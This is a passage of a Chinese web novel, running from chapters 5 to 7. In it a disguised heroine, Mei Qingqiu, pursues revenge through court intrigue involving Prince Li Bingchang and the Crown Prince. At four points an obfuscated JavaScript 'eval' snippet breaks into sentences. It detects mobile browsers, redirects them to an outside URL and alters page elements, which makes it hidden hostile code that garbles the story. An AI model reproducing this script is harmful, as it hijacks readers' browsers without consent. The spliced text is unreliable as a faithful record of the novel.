梦中我的四肢仍靠惯性左右，我正要落座，忽被两名壮汉架住胳膊，紧接着双脚也被抬起！我如同被四足捆上横木的猪，奋力嘶吼挣扎，引来的却只有真‘猪’的垂涎！ 奏乐掩盖了我的呐喊，我被丢上戏台锁上脚镣……” “梦就此结束了？” 梅倾秋想到一个讽刺的好说法：“被我养的鹦鹉吵醒了。” 李秉昶勾唇一笑，似叹似哀：“不曾听闻的设想。” “我这人有点小钱就爱往酒巷子钻，醉懵了就总做些不着边际的梦。” “秋公子是风正堂常客？” “许久未去。” “如此便伴我去瞧瞧吧！” 李秉昶扬鞭呼马，人和马都高昂着骄傲的头颅，精神抖擞地奔下山。梅倾秋紧随其后，心想：上钩了。 恰是晌午，风正楼济济一堂。进了门便有小二前来招呼，梅倾秋说了句老位置，事先打点好的小二领他们到二楼雅间。梅倾秋将半串铜板提在身后，小二关门前接了过去。 白天坐镇戏台的是说书先生，正在讲当下风靡的江湖儿女情话本。 “那老先生参加了三次科举，一次进士也没中。说是盘缠用尽回不了家，才支起板桌编书，这一编就编了十年。” “确能听出乃有才之辈。” 梅倾秋注意着襄王表情的变化，笑道：“这老先生要是知道自己被王爷称赞了，吃饭只怕米粒都得从笑嘴咧下来。他也是时运不济啊，当时……” 她刹住话头，煞有介事地捂住嘴巴。 李秉昶朝她投来晦暗不明的一眼。 “直说无妨。” 见她推诿，他木无表情道：“官场舞弊。” 梅倾秋当即从椅子上跳起来，作势就要跪下，被李秉昶扶住手臂。 “王爷……我口无遮拦，可万万不敢质疑朝堂选拨人才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147823|164751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的基准，我这木鱼脑袋更冒不出这等想法！” “秋公子。” 李秉昶心思缜密，早从那个梦境听出了暗讽意味，现下更完全印证了猜测。只是不知驱使她如此的动力是什么。 他将她拉回椅凳，扑哧大笑，佯作恶作剧成功。梅倾秋尴尬地陪了几声。 “难怪你名叫秋生。这求生意识着实强啊！” 梅倾秋抓起袖口擦并不存在的汗，迎合他的话演一回鼠胆之辈。她对人称儒雅王爷的李秉昶多了几分认识，至少不是所谓的随遇而安。 “不必惊慌，我知你无此意。”他又给她喂下定心丸。 空灵琴声婉转动听，说书先生换成了拨琴的清倌人，清倌人与红倌人的区别是卖艺不卖身，故而也不露脸。圆形高台围了圈红色珠帘，隐隐透出台面中央的红衣女子。 出人意料的是噪声四起。 古琴近在咫尺，乐声却仿佛被数堵石墙所封，难以辨析。梅倾秋仔细聆听，发现议论均围绕着珠帘后的女子——竺月。批判她卖艺不卖身，连容貌也欲盖弥彰地，让人摸不清。料定她不敢掀开珠帘，更多污秽言语兴冲冲地奔她而去。 这就是只接待男客的缘由。男客一丘之貉，听了此言也只会哈哈大笑。 李秉昶欲起身离开，梅倾秋道：“王爷且慢。” 她拍桌而起，将半个身子探出窗，隔壁雅间的男子肘倚窗台，还在滔滔不绝。 “这位公子，你可是点了风正堂的招牌菜，红烧肘子？” 男子被问得云里雾中，直白应了声“不曾”。 梅倾秋便说：“那怎么出口一阵炖烂的腥味？我原想夸竺月姑娘的琴声余音绕梁，都不慎说出余腥远扬了。” “咳……” 李秉昶始料不及地呛了自己一口水，脑中适时浮现初遇时的女子面貌，如何都无法将这话与之相联，他扶额发笑。 “你从哪冒出来的小白脸，敢这么跟我说话，你知道我是谁吗！” 各雅间闻声雀跃，就着这股劲嘲笑那位。 “竺月姑娘更不敢掀开珠帘了。” “我可要点道红烧肘子尝尝了！” “严二公子，任你一掷千金，竺月姑娘都不会领你情的！” 被话长短的严池恼羞成怒，嚷着“谁说我见不着！”抓起手边弹弓瞄准珠帘一角扣在梁上的结。 扑通一声珠帘随石子掉落，竺月涂满脂粉的脸仍透出几分惨白，她惊呼着抬臂，把脸藏在大袖摆后面。一楼看客纷涌上前，尖叫高亢。 严池得意回瞥却不见其踪，随旁人所指望去，那白面书生犹似空中回荡的飘带，轻盈一跃就晃到了百米之外。衣诀飘然，双脚稳稳踩在对面红柱上，又一蹬抓住了珠帘。 全场哗然，目光聚焦在空中飞人身上。 李秉昶登时起身。讶异她有如此轻功。 梅倾秋扯过珠帘重挂上扣。她比珠帘高，看清了竺月模样。凤眸垂愁，我见犹怜。 她倒翻落地。掌事东家赶忙上台做和事佬，说竺月卖艺不卖身，面貌亦不可相见。竺月匆匆下台。 严池气不打一处来，出拳锤穿窗纱，侧目才发现隔壁雅间还有人。那人以扇掩面，目光紧随楼下的小白脸。 “这扇面所绘……”他嘟囔未完就与其对上眼，严池腿一哆嗦躲回雅间。 旁人问话他也不答，只屏息干瞪着眼睛。片刻方敢再探出头，那人已离去。 “襄王怎会在此……”他重看向追竺月去的小白脸，“与之又是何关系？” 5. 第 5 章 “我帮你赎身。” 竺月定睛瞧面前长眉若柳、身如修竹的公子，心中谢意未尽，又凉一截。 “不劳公子！”她声轻但意决。 “说什么呢竺月！”东家瞪了她一眼，回身满脸堆笑。“第一次有人为竺月赎身她害羞了，不知公子怎么称呼？” “在下秋生。竺月姑娘，你不想自由吗？” “我卖艺不卖身，哪怕一辈子躲在帘后拨琴，我也不愿意出卖自己！” 梅倾秋低头看了眼自己的着装，为难地说：“竺月姑娘曲解我了，我为你赎身，无需你回报分毫。你尽可以去过自己的生活。” 竺月疑惑：“为何？” “东家与我提了你进风正堂的原因，你是为安葬令堂才置身于此。我欣赏你，也心疼你，为亲人而活的道路不该与世相别，否则你岂不是将自己也埋葬了？” 一番话催落了竺月常含之泪，她别过脸抹去泪珠，又满怀敬意凝视着眼前人。 “公子之恩，竺月无以为报！” “别跪……快起来。” 门外，听了全程的李秉昶合扇走开。 梅倾秋从小二手上接过马，正欲翻上马背，竺月提着裙摆跑了出来。她与李秉昶相视一眼，上前去接应竺月。 “公子。” “竺月姑娘可是有话要说？” “公子与我素未谋面，却待我恩重如山，望公子予我谢恩的机会。” “这……”梅倾秋张口结舌，无措地回望坐在马背上的李秉昶，一副看好戏的模样。 “竺月深知恩情难赎尽，便是侍女工作也好。” “既然如此，”梅倾秋报上药铺位置，让她到那里去。“提我名，会有人照应你的。” “多谢公子。” 梅倾秋向竺月告别，道有缘再见！驭马远去。 夕阳溶于山峦，通红山壁犹似静止彩画，待粉尘四起，两匹骏马并驾齐驱，奔腾入画。 跃过溶金山路，二人沿着树荫路行进森林，黑马赶上了白马。 “秋公子原也精通武功？” “雕虫小技，让王爷见笑了。” 狭窄山路不容二马，梅倾秋两腿夹住马身，扬鞭加速，将他甩在后头。 路狭但短，平原当头李秉昶就追了上来。 “秋公子轻功了得，想必习武至少七八载。” 李秉昶轻拉缰绳，马儿徐徐减速，梅倾秋不得不也减慢速度。 “下次与本王切磋一番如何？” 他回眸望来，双眼挂笑，却漂浮着难以捉摸的深沉。可以确定的是此话并非儿戏。 “好啊，还望王爷手下留情！” 二人会心一笑，驾马纵横洒满金辉的草原。 自此一别，李秉昶良久寻不见她。 坊间传言已有两门侧妃的太子要纳正妻了。此乃宜国大事，现下只是太子妃，待太子继位就是皇后了。 月方上梢，宁枝就关了铺门，插上门闩。急冲冲跑到里间，梅倾秋正举着烛台照舆图。描绘宜国疆土的舆图摊开来铺满圆桌，梅倾秋用毛笔圈出几处。 “宰相无千金，朝中权臣就只有户部侍郎、兵部尚书、礼部尚书，尚有待字闺中的千金参与妃选。皇帝已有严晁这个心腹，应会在户部及兵部之间选太子妃，以制衡朝野势力。但如果皇帝听信谗言，直接选中严晁当国丈，那除掉他就更难了。” 宁枝：“别忘了还有一方势力，就是太子都会巴结着上门。” 梅倾秋了然于心：“你是指太尉。” “是的，你可以借助梅太尉的力量。” 早在皇帝继位之前，梅穹就深受皇帝赏识，太尉一职的实权甚至赶超宰相。只要皇帝容许，他可以随意调动军队。梅穹这股势力引诱太子绰绰有余。 此前没将梅穹算进去，是因为对外梅太尉无得子嗣。梅倾秋也不在梅家族谱上。 梅倾秋放下烛台，来回踱步，壁上油灯将她的影子拉得时长时短。她绞尽脑汁，将心中计划拆碎重组，仔细推敲可行性。 “梅太尉会愿意帮你的。”宁枝加上一句。 “不，父亲不会同意。” 她目光落在舆图上的‘梅’字，往下看去，原该标记‘卫’的那处空空如也。 十年来她时常躲在高处俯瞰卫府，目睹其从废院沦为赌场，又被夷为平地，最后杂草丛生。 “我要先斩后奏。”她决然道。 她永远不会忘记自己的本名，卫翎。她枕戈尝胆，不惜扮演失忆掩饰自己罪臣的身份，隐姓埋名十年就是为了复仇。攀上太子这个决定仓促了些，但无疑是实现计划最快的方法。 “那你是放弃襄王了。” 襄王，是了。梅倾秋单指按住襄王府。 她迟疑是在斟酌襄王李秉昶篡位的概率。他看上去不会乖乖圈守小小的王爷爵名，或许皇帝也有此虑才不予他封地，将他困在眼皮底下。 原先她打算拉拢襄王造反。 “我先见见太子。” - 竺月东捱西问才找到药铺，迈过门槛时还面露难色。宁枝早就得到了指示，赶忙亲切地将她迎进来，开门见山道：“你可以做伙计的活吗？” “我可以！”竺月忙不迭道，“我叫竺月，公子如何称呼？” 宁枝随口啊了一声，领她到铡药刀面前。 “叫我宁枝就好。你可以帮忙切药材吗？” 语毕宁枝着手教她使用药刀。 “秋公子常来这里吗？”处理完筐中药材，竺月轻声问。 宁枝手指拨着算盘珠，抬起困惑的眼睛，与之相视才反应过来说的是男装的倾秋，找补道： “她……几乎不来。” “这样啊……” - “那讨喜的小郎君呢？” 许骄松本意只是好奇，落入有心人耳中可就不同了。 李秉昶迅速抬了一眼，仿佛被念叨的人会突然出现在他襄王府。他给两个酒杯斟满酒，明知故问道：“你指秋生？” “可不就是他嘛，你不是说在他身上压了什么赌注？” “是啊。”李秉昶轻晃酒杯，“奈何筛盅还没开，人就没影了。” “秋生跑了？他可蒙骗了你什么？” 许矫松双手撑桌站起身，一副要拉他到秋生面前讨公道的模样。李秉昶扯着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147824|164751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的袖摆让他坐下，说人家规规矩矩，啥也没做。 “而且也不能说是跑了，只是……”李秉昶挑选着字眼，“见不到人了。” 许矫松伸手去够酒壶，狐疑地瞧瞧李秉昶，给空落落的酒杯满上。 “动用县衙的籍名单不就行了？” “行不通。” 李秉昶苦笑，毕竟连秋生都不是她真正的姓名。 “那或许出了远门？” 这个猜想半个月前就在李秉昶脑中出现了。至今仍在那里。 准确来说，距离风正堂一行至今，她已经没影个把月了。去长桂里候不到她，差遣去风正堂的侍从也被东家打发说没见着。 几日前李秉昶忆起她与风正堂竺月提起的药铺，驾马前去，远远眺望，只能见着干活的竺月，连初遇时伴其左右的男子也未见到。 这不是她经营的药铺。他想。 李秉昶作为皇室子弟，深囚于高墙之后，唯一知己便是儿时的陪读许骄松。他由两位妃嫔抚养长大。一位是他的母妃，在他九岁时自缢身亡。另一位是深受皇帝宠爱的昭贵妃，也是堇婳公主的母妃。 “后宫尔虞我诈的风气是朝堂传来的，是妃嫔们为了帮衬家族而造成的。”——他的母妃曾这样跟他说。 当时他一知半解，因为他的父皇最厌恶外戚作威作福。后来他就明白了，他的父皇之所以不断纳妃，是为了压制后宫得势的妃嫔。外戚不再专政，却遍布满朝。 位高无权的皇子最不缺阿谀奉承，一个不小心也会面临众叛亲离。正如皇帝收买他的心腹、太子窃取他的政见、朝臣阳奉阴违……独木难支就会倒下。他在这个环境下成长，逐步学会在心里装一把算盘。 他常挂在嘴边的就是随遇而安，恰恰他却是最不信安这个字的。世间苦难并不长眼，不会问你是不是与世无争。 危机于他就像悬挂门梁的匕首，指不定推开哪扇门的时候会被刺中。这个‘随’就变成了随他人来去，不做挽留。 我就是手痒了，想舞剑缺了个对手。他笃定。 “安行，你来与我切磋！” 李秉昶说着抓起长剑，脚踩桌沿于空中翻了个跟头，稳稳落在站岗的傅雁面前，抽出他腰间佩剑扔给许骄松。 “好！” 许骄松跳到空中接剑，方一落地，锋利剑刃刺穿落叶朝他飞进。他侧身以剑相抵，刀面翻转闪出刺眼亮光，许骄松忙扣紧对方剑柄，借力翻身从李秉昶头顶跃过。 不知何处“呲啦——”作响，他迈步上前瞧见李秉昶反手持剑，右手拎着一块丝绸布料。许骄松低头看自己左臂，衣裳靠近肩肘的位置破开了，至少破了三层衣。 许骄松耐不住性子了：“我认输认输！” “承让了安行。” 傅雁收起两人的剑，许骄松跟在李秉昶身后走回亭内。 “我一介文官哪能在你剑里讨到便宜啊，我的王爷，还当儿时呢！” “果然你还记着我输你的那一剑呢。” “我得铭记在心啊！不然何时还能在剑术上压你一头。” 李秉昶指敲瓷杯，垂眸饮尽。酒液入了喉，心却仍如酒杯空乏。 6. 第 6 章 黎明时分，朝霞拨开云层堪堪拂过房顶，安州百姓就已提筐挑担地上了街。烙饼香攀着炊烟四散，早点摊前拥满了人。 头戴黑纱帷帽的男子一身黑衣，行动敏捷，一会就将嘈杂甩在了后头。他于街口站定，四下观望确认无人跟随，垂首钻进暗巷。 重屋林立剥夺了霞光，窄巷于此不见天日，仿佛夜也比巷外长得多。 藏在暗巷尽头的小屋门前缠柳，叶子掉光了细根仍在，丝缕成帘，如同掩门的布。男子用剑挑开柳枝，踏进同样昏暗的木屋。 木屋内杂物堆积，壁挂许多未沾墨的黄色纸符，桌上则摆满瓶瓶罐罐。埋首药材的老者纹丝不动，对进门人视若无睹。直待来人说出暗号：“夜欲扬，寻纱蒙。” 这间屋子是由无数暗号支撑起来的，暗号大不相同，分别代表不同的药需。 老者抬头，认出这个遮得严严实实的男子是常客，背过身去取药架上的瓷瓶。多嘴说了句：“数不见效，寻医为上。” 男子拔出长剑，从后搁在老者脖子上。“闭紧你的嘴。” “是……是，”老者颤巍巍地回头，小心翼翼绕过长桌，剑刃跟着他的步伐移动。 “一次两颗，半个时辰起效。”老者说着递出药瓶。 利剑回鞘，男子夺过药瓶，扔给他一锭银子。老者赶忙伸手捞住，客客气气地将男子送出门。 他将银子装进腰间佩囊，与另外两锭银子相撞砰砰响。那是稍早另一位公子给的。 “可以出来了。”老者向帘后的人说。 门帘掀开，着男装的梅倾秋走了出来。她迈步到柳枝之后，遥望黑衣男子拐出巷。此人名为傅骢，是太子的心腹。梅倾秋正是查探到他每隔一月就会来一次，才先一步守株待兔。 “他所求何药？” 梅倾秋虽以财力迫使老者偷梁换柱，递上她备好的药瓶，但仍不知道太子所患何疾。 老者装聋作哑，只俯身摆弄铡药刀。待两锭银子砸响木桌，他才受了惊吓似的抬起头，眼疾手快地将银子掏回去。 他赔着笑：“欲行人事，又力不从心就需要到我这来了。” 见其似未开窍，老者目光下移。“公子莫非身未沾荤？” 梅倾秋豁然贯通，明白所指何事了。老者捋须仰头大笑。 “你指其‘数不见效’，可是患疾许久？”梅倾秋板回话题。 老者冷哼一声，道：“此乃前年老客了。” 难怪纳妃多年，不曾得子。 - “风正堂？”太子李秉昱从池塘中的金鱼别回眼，惊讶道：“他不是不近女色吗？” “严池禀报的，说确实见着了襄王。还有一名身手矫健的公子哥。”傅骢答。 李秉昱手一挥将饲料全撒了，底下金鱼争先恐后涌上前。他接过侍女递来的手帕擦手心，手往后去抓脖子。 “身手矫健的公子哥，不是许骄松？” “不是。” “我这二弟向来故弄玄虚，莫不是又在暗中捣什么鬼。算了，黄炼师可有传来消息？” 傅骢摇了摇头。眼尖的他注意到太子总挠后脖，便殷勤地道后院虫蚁成群，会督促下人赶虫的。李秉昱随口应允，指甲嵌入皮肉逐渐挠出了红痕。 起先他也认为是冬末肤痒，无多在意。待到发现后脖红疹一片，疼痒难忍，已是初春。而御医束手无策。道是奇毒怪病，闻所未闻。来了几个御医，就换了几个，均心惊胆战地叩道太子殿下饶命。 此毒还会发作，痒到极致仿佛无数虫蚁钻入骨髓，药浴按穴皆不管用，令他直拿后背去磨蹭门板。这让太子颜面何存，他就着病发的劲大发雷霆，忽而疑心起傅骢取来的新药。 但距离断药都将近两月了，他不情不愿地压制怒火。实际上他派人前往便可知，问题就出在那药上。制药的老者已经弃屋逃跑了。 “天之骄子，遇疾难去为患也。”——李秉昱听到这话是在皇宫门口，他怒而回首，瞧见身着八卦服持扁扇的老道士，双眼放光，忙让傅骢速速上前将法师请来。 这一点他随皇帝，崇奉道教。 他与道士共处一辆马车，掀袖露出密密麻麻的红疹，双手难以控制地抓挠。道士斜睨一眼连连点头，称与他所料相同。 李秉昱急了，双手撑在膝盖上追问是何病症。 “此象乃药引勾出了体病，常药不可医。都城以南有一药铺尚有破毒之药，殿下按此图去寻便可，磨碎煮沸配以针法。” 说罢道士举起食指往门牙上猛地一划，用指血在宣纸上画出草药外形。 “可是法师来施针？” 道士摇头：“存有此药者定晓得如何使用。” 李秉昱急呼傅骢，让其控制都城内所有药铺，务必寻到法师所绘草药，再将药铺掌柜一齐押来。 道士收了太子赏赐的钱袋和玉佩，临走又神乎其乎地说了句：“太子殿下性命无虞，与太尉之女尚有缘乎。” 如说李秉昱本有八分信赖此道士，听了这话便只余三分敬意了。 “太尉并无儿女。” 没成想道士头也不回，直往前走，笑叹：“有缘，有缘。” 火烧云的光晕渐渐覆盖了楼屋，蔓延至道士脚边与金黄道服相映，这类天象瞬即摄住了李秉昱的心神，让其直道天师下凡。 任长巷熙熙攘攘不见其影，李秉昱仍望着道士拐道的路口，仿佛他真是天师，是在夕阳金光下遁天的。 殊不知斜角屋顶有两个人也注视着他。 “崇道到这个地步，幸亏他乃当朝太子，不然几代家产都不够他上供香火钱的。”宁枝睥睨道。脸上胡须未摘，金黄道服褪下搭在肩上。 一旁的梅倾秋惟帽至膝，微风吹拂黑纱显得格外费劲，半天只能让她半张脸若隐若现。 “非贤，但做傀儡足以。” 比李秉昶好看懂。她想。 - 竺月虽不识医术，药铺伙计的活却做得很好，宁枝已经开始 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147825|164751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让她学抓药，为此扔给了她两大本记录药材的书。 为了快速认清药类，她将药架上的每样药材都取了一小段搁在桌上，照着书上的草图认。 一批穿甲带刀的壮汉闯进药铺时，竺月正踩在木凳上取最顶部的药材。她慌忙下凳，铺内只她一人。 “诸位何事？” “搜！”傅骢大喊一声，随从们就开始翻桌倒柜地搜了起来。动静之大过路人或摊贩都歪首往里，欲看个究竟。 竺月惊呼：“你们擅闯民宅！” 见其蹿进里间，她跑上去拦人被一把推开，失重撞向门框。 而她安然无恙。她肩头被稳稳扶住，一阵桂花似的幽幽香气环绕鼻尖，竺月抬眼，霎时失神。 搀扶她身子的是位姑娘，春华雕颜，目若悬珠，一双黛眉弯而不柔。要紧的是她与秋生长得极为相似，竺月险些脱口而出公子。 “不知我这药铺犯了何事，令官爷们如此大动干戈。”梅倾秋扶稳竺月后松开手，泰然自若地面向傅骢。 “找到了！傅爷。”说话人捧来整个药盒，与宣纸一对确是同种药材。 傅骢打量了梅倾秋一眼。 “你是药铺掌事的？” “正是。” “那要劳烦娘子跟我们走一趟了。” 竺月慌忙抓住她衣袖。 梅倾秋笑着拍了拍搭在她袖上的手，道：“没事，你等宁枝回来。我可以跟你们走。” 原以为必须动用武力请人，傅骢刚一抬手又收了回去，心想省事了。 梅倾秋被蒙眼塞上马车，车轱辘咿呀转动，她竖起耳朵，从马的速度和转向辨别方位。其实哪怕没有这个技能也不慌，宁枝正飞檐走壁地跟在后面。 马车在城郊边的客栈停下，她被押着穿过大堂和楼梯，才得以重见光明。 厢门紧关，梅倾秋微眯着眼适应光亮，面前坐着太子李秉昱。此前所距甚远看不真切，如此相对倒使其‘憨气’褪去了几分，毕竟是太子，没有城府也压不住另外几位皇子。他身穿深紫色衫，大拇指戴有玉戒，腰带也隐隐绣有蟒爪。 “你懂医术？” “略懂一些。” 李秉昱难耐得抓了一把后脖，之后掀开袖子，大片红疹已蔓延到手腕处。 “那可知此毒何解？” 怎会不知，这就是我制的毒。梅倾秋想。 但她仍是上前端详了片刻，后知后觉道：“所以殿下才需要这味草药啊。” 手上一刻不停歇，正摆弄药材的用量。 “你认得我？” “方才听他们唤过你殿下。” “你很聪明，还很有胆识。你叫什么？” 梅倾秋欲拒还迎地捣鼓针包，回答：“我叫倾秋。” “你可进出过太尉府？” 李秉昱观察着她的神态，自认为捕捉到一缕诡异的惊慌。 故而在听到不曾二字时，他莫名开始趋向法师意味深长的‘有缘’。 7. 第 7 章 太子仍是一周后才上的梅府。 彼时梅穹正在与梅倾秋下棋，他对李秉昱蓦然到访的行为感到困惑，甚至起疑是否来拉他站队的。李秉昱位居太子位两年，但朝堂之下还存在异样呼声，即襄王李秉昶。 但这猜想顷刻就被否决了。拥立太子的主力是严晁，而梅穹与他向来水火不容。其一，严晁乃煽风点火，加剧卫霆被灭满门者；其二，他的薄弱忠义不足以包藏他的营私。 “父亲，太子或许是冲我来的。” 梅倾秋道出此前为李秉昱解毒的事，直言：“他似乎被人点拨过我的身份。” 所以梅穹对李秉昱笑脸相迎之际，他心中是极为不安的。惟恐梅倾秋难逃罪臣之罚。 李秉昱落座厅堂上位，梅穹于侧，左孑站在梅穹身后。 “殿下屈尊到此，可是有事吩咐？” 李秉昱装模作样地推说：“何来吩咐一说！太尉乃朝中重臣，又与圣上关系密切，撇去君臣之分，秉昱还该称太尉一声伯伯！” “殿下折煞老臣了。” 李秉昱举起侍女奉上的茶，杯沿近口又移了开。 “对了，最近小王听到些风声，大惊失色。谣言与太尉相关，便想着需得告知太尉。” “不知是何谣言？” “太尉府中有千金。谣传与否？” 说罢李秉昱饮了两口茶，不动声色地偷瞄梅穹。梅穹不愧为深谙官场迂回要则的老臣了，面部表情称得上刀枪不入，寻不见破绽。 他捋着短须开怀大笑，便是另一种无声否认。 “确为谣传？”李秉昱又追问一遍。用腔近乎逼问。 “确为谣传，殿下。”梅穹从容道。 “那倾秋……” 梅穹瞬即瞳孔放大，这分毫之间的神态被李秉昱看在眼里，他冷笑一声站起身。 “如果倾秋真冠以梅姓，你可要担期君之罪的。” 躲在门后的梅倾秋身躯一颤，期君二字让她联想到了生父卫霆，他的冤屈就被这个罪名镇压了十载。她设想了每一步惊险，没有护住家人的绝对把握就不会启动计划。太子咄咄逼人，皆因他需要梅穹的势力。 “殿下……” “父亲！” 梅穹的话被推门而入的梅倾秋打断，他惊恐地站起身，李秉昱望向一袭红衣的梅倾秋。 “秋儿……” “父亲，作为养父你为我付出的已经够多了。” 李秉昱坐不住了。“养父？” 梅倾秋凝视着梅穹，试图用眼神里的急迫说服他。梅穹怎会不知，于己于她，唯有如此方能逃过一劫。 别无他法，梅穹只得向李秉昱坦白：梅倾秋是他在妻子过世后收养的养女，并无梅家血脉，才没有归入族谱。 此说法合情合理，但李秉昱在意的从来不是梅倾秋是何存在，在意的是她有梅家千金的头衔。这就足以让他借题发挥了。 他故作慈悲，满口说着谅解，甚至说出：“太尉与父皇交好，本王自然要护着自家人了！族谱籍名一事，申令修改便是！” 三句不离加入族谱一事。末了又道：“倾秋还未许配夫家吧？” 梅穹默不作声压下一口哀叹，回：“是，她方十六。” “甚好，甚好。” 李秉昱意图很明确：让梅倾秋参与太子妃之选。已显露暗定之意。 送走太子李秉昱，梅穹在厅堂一言不发，但步伐急促，愁眉不展。左孑在侧倡议躲避的方法。 扑通一声，梅倾秋双膝跪地。左孑命阿矜赶快扶小姐起身，阿矜扶不动。梅穹则安静注视着她。 “父亲，倾秋不孝不忠，欺瞒了你。”梅倾秋垂首叩响地面。“我从未遗忘你与家父的情谊，十年来我想的都是如何为父报仇、为族平冤。我假装失忆是不想被送出安州，此番自爆是想求父亲同意我参选太子妃，我要推翻大宜，刺杀李瞻，让天下易主。” 说罢她连叩三声。 阿矜手足无措，只能陪着主子叩跪；左孑还在消化她的一字一句；梅穹则缓慢踱到她面前，伸手握住她两臂。梅倾秋不愿起，他就如此半蹲着。 “秋儿，如你还称我一声父亲，就抬起头来。” 梅倾秋抬起头，泪水盈满眼眶，她透过这层雾看他，仿佛看到了自刎倒地的卫霆。这令她心如刀割，再也锁不住泪。 “放弃吧。” 梅穹语调极为平稳，听上去却裹满了沧桑的哀痛。她紧抿双唇，奋力摇头。 “这是赔上自己的性命。与我、卫霆、问青所愿皆是相驳。我们惟愿你平安而已！” “父亲！”梅倾秋携着哭腔大唤一声，声之大穿透了厅堂，惊动了后院棋盘边的鹦鹉。 “你是我的第二位父亲，可我还有另一位父亲，他尸骨曝野，含冤而终。如我死在那一夜此生便罢，可正是他的哀词怨诗、他的铮铮铁骨把我从鬼门关拉了回来。如果我弃之忘之，就是忠孝不并，背叛了他的刚正不屈！那女儿空有这副健康的身躯又有何用？” 对于堂内三人而言，此话都振聋发聩。梅穹背过身去，垂泪点头。 - 卯时未至，天色微明，文武百官就已在宫城内候朝了。 朝服各不相同，文绯武青，若是三品以上官吏便是紫蓝袍。皇子无论封爵与否，则皆为暗黄，其中又属太子朝服的取色与皇帝的金黄最相近。 会见皇帝前各官吏汇聚在东、西朝堂，这时为了探听情报，搭腔架粱的多是平时有过节的，都化成了笑面虎，隔着夜仇拘礼。 三五人并作一圆，相互交头接耳，声若蚊蝇。但只要众人相谈皆为同一桩事，便会默不作声地往知情者身上挨。 “那是个身手矫健、动如脱兔的家伙！压根见不着身量，只能抓住城墙上的影子！那是被淋了鲜血的影子！人唤他赤影！” “闻言三盗一杀，杀的是大宗伯府的人？” “县衙都忙晕了！这不，圣上这就把知县召来上朝了。” “我还听说不止被杀了府兵，连厢中暗室里的珠宝……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147826|164751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着绯袍的文官忽地噤声，身一俯就从人缝中钻了出去，任人擒袖也不理。众人慢半拍地往大门往，果然丑事里的主人公进了门。纷纷四散。 被怒气憋得面色涨红的人一进殿就嗅到了压抑的取笑，瞬即又被这些目光灼疼了，本就瘦垮的脸皮变得又青又红，还偏要高昂着头俯视回去。 这副打肿脸充胖子的傲娇又没支撑多久，在见着太子和几位皇子时蔫了下去。 “听闻大宗伯府上遭了窃？” 李秉昱声音浑厚，一下打通了大半个朝堂。严晁只觉脸像被按在火炉前烤。 “蒙殿下记挂，确有此事。” “你那调养数年的府兵剩几名？”李秉昶火上浇油了一句。 严晁得皇帝恩准，自己在府中调养了一批精锐府兵，就此还曾被梅穹上书弹劾。 他硬着头皮道：“只余两名了，襄王。” 李秉昶：“这可真是不测之祸。对那杀手可有头绪？” 严晁摇头，就差把脸埋进大袖里了。 李秉昱：“我大宜的翘楚层出不穷，尽在这朝堂之上了，别怕，那赤影逃不久的。” 事实证明，赤影在白日下晃荡了一生，数百年后民间还流传着他的故事。 朝会历经四个时辰方散。十日一朝总会堆积许多政务，更别说遇上了如此穷凶极恶的暗杀者，又盗又杀的，扰得城内人心惶惶。不过如果有官吏愿意去深巷里听一听，就会得到截然相反的评语。 朝堂上官吏们将赤影贬得比倭寇还不如，烧杀抢掠、嗜杀成性、后患无穷等等字眼安在他身上。宫外百姓们却将赤影形容成救世英雄，以劫富济贫、惩凶除恶、民心所向来描绘他。 皆因他盗的，是张着血盆大口剥削百姓的贪官污吏；杀的，是压良为贱、贩卖人口的衣冠禽兽。 上述案件可溯源至开朝元年，可官官相护，屡屡言禁而不得抑。待一侠者替天行道，天就出来彰显谁是天了。 无论文官武官，朝前朝后皆是两幅面孔，下了朝愁容尚存。何人禁得住皇帝长达一小时的怒火啊。 “这下安州又要掀起动荡了。”六皇子李秉暻道。 “有何惧，刑部都遣人协助知县办案了，”李秉昱边说边下台阶，“蒙洛古国下礼拜便可到达安州，刑部自然要抓紧了。” “蒙洛古国此番提前朝贡，大哥的纳妃事宜岂不要延后了？” 